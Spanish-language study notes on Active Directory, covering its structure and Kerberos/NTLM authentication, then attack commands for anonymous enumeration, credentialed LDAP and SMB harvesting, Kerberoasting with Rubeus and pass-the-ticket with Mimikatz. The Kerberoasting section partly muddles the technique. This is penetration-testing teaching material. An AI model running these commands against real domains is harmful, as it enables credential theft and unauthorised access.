Active Directory

El active directory es un servicio de directorio de Microsoft que facilita la gestión y organización de recursos en una organización. Funciona como un repositorio centralizado de información sobre usuarios, grupos, computadoras y otros objetos, permitiendo su administración de forma eficiente.

- Permite centralizar la administración de usuarios y recursos de una organización
  - Simplifica tareas de autenticación, autorización y administración de políticas de seguridad
  - Facilita la implementación de plíticas de acceso
  - Proporciona marco para la administración de servicios.

Aspectos vulnerables en Active Directory

- Contraseñas débiles
- Falta de parches
- Permisos inadecuados
- Ataques de fuerza bruta
- Phising/Ingeniería inversa

elementos dentro de Active Directory

- Controlador de Dominio: Servidor que ejecuta el servicio de Active Directory y almacena info sobre usuarios, grupos, equipos y otros objetos en un dominio.
- Dominio: Unidad lógica de organización en un entorno de Active Directory.
- Objetos: Representan entidades
- Atributos: Información adicional sobre un objeto
- Esquema: Define la estructura y tipos de objeto y atributo que puede almacenar el active directory.
- Global Catalog: Server que almacena info parcial de todos los objetos en el bosque del active directory.
- Grupos: Conjunto de objetos a los que se les puede asignar permisos y derechos.
- Políticas de grupo: Conjunto de configuraciones que se aplican a usuarios y computadoras en un dominio.

Árboles y Bosques

- Arbol: Colección de dominios que dependen de una raiz común y se encuentran organizados jerárquicamente.
- Bosque: Contenedor lógico más grande dentro de active directory, abarca todos los dominios dentro de un ámbito. Los dominios de un bosque confían los unos en los otras y pueden compartir recursos.

Tickets

- Key Distribution center: Servidor de kerberos encargado de distribuir los tickets a los users.
- TGT (Ticket Granting Ticket): Emitido por el servidor de autorización después de la autenticación. Permite solicitar otros tickets de servicio sin volver a autenticarse
- TGS (Ticket de Servicio): Emitido por el server de autorización en respuesta a una solicitud con un TGT.
- Diferencias y casos de uso de TGT y TGS:
  - TGT: utilizado para solicitar TGS y autenticarse en el dominio
  - TGS: Utilizado para acceder a servicios específicos.

Tipos de autenticación

- NTLM (NT LAN Manager): Protocolo de autenticación que utiliza hashes de contraseña para autenticar a los users.
- LM (LAN Manager): Protocolo más antiguo utilizado por widnows. Almacena contraseñas en un formato vulnerable a fuerza bruta

Enumeración en Active Directory

- Puertos y servicios comunes: SMB, Kerberos y LDAP
- Importante identificar: User/password del dominio, User/NT HASH del dominio, TGT y TGS

En el peor de los casos no tendríamos ninguna credencial inicial, en este caso se puede intentar obtener info con NULL SESSIONS:

```
#Mostrar recursos compartidos disponobles en el server objetivo
smbclient -L \\<DOMINIO> -l <IP_server_objetivo> -N

#conexión a NetBIOS de forma anónima
rpcclient -U " -N <IP_server_objetivo>

#Enumeración de los nombres de usuario por fuerza bruta con una lista de
usuarios a probar
kerbrute userenum -d <dominio> <listado_usuarios>

#Enumeración de información de windows y samba sin usar credenciales
enum4linux -a <IP_server_objetivo>

#Enumeración de hosts samba con acceso anónimo habilitado
crackmapexec smb <IP_server_objetivo> -u " -p "
```

Si se tienen credenciales de algún usuario no privilegiado del dominio

```
#Busca información sensible consultando todos los objetos LDAP a los que
pueda acceder.
ldapsearch -h <dominio>  -D '<usuario>@<dominio>' -w <contraseña> -b
```

```
'dc=<nombre_dominio>, dc=<extension_dominio>'

#Identifica los servicios de windows usando la interfaz MSRPC
python3 services.py <dominio>/<usuario>:<contraseña>@<IP_Objetivo> list

# Recopila datos sobre los usuarios del dominio y sus correspondientes
direcciones de email
python3 GetAdUsers.py <dominio>/<usuario>:<contraseña>@<IP_Objetivo> -dc-ip
<IP_Objetivo>

#Enumera grupos de dominio, grupos locales, usuarios conectados,
identificadores, sesiones, usuarios de dominio...
crackmapexec smb <IP Objetivo> -u '<Usuario>' -p '<Contraseña>' --groups --
local-groups --loggedon-
users --rid-brute --sessions --users --shares --pass-pol
```

En caso de tener el nombre de usuario y el NT Hash se podrían obtener los credenciales por fuerza bruta

Kerberoasting

Explota debilidades en el protocolo kerberos para obtener tickets de servicio cifrados con la contraseña de usuario. se pueden usar herramientas como rubeus en la máuqina comprometida con el siguiente comando:

```
.\Rubeus.exe tgtdeleg
```

Una vez obtenido el TGT, el atacante usa el siguiente comando para obtener un Ticket de servicio:

```
.\Rubeus.exe asktgt /user:<nombre_usuario> /rc4:<hash> /service:<Servicio>
/ptt
```

Ahora el atacante tiene un ticket de servicio para el servicio que puede almacenar para su uso posterior. Este ticket puede usarse con herramientas como hashcat o john the ripper para descifrar la contraseña.

Ataque Pass the Ticket (PtP)

Se utilizan tickets de kerberos previamente obtenidos para acceder a recursos protegidos. Con MimiKatz se puede realizar el siguiente ataque:

El atacante descarga y ejecuta la herramienta en un sistema comprometido:

```
.\mimikatz.exe
```

Tras eso, se utiliza el siguiente comando paramostrar los tickets almacenados en el sistema:

```
mimikatz# sekurlsa::tickets
```

Se identifica un ticket de servicio (TGS)

```
mimikatz# sekurlsa::tickets/service:<nombre_servicio>
```

Tras eso, se ejecuta el siguiente comando para inyectar el TGS en el sistema, permitiendo su uso sin conocer la contreña:

```
mimikatz# kerberos::ptt <ticket_de_servicio>
```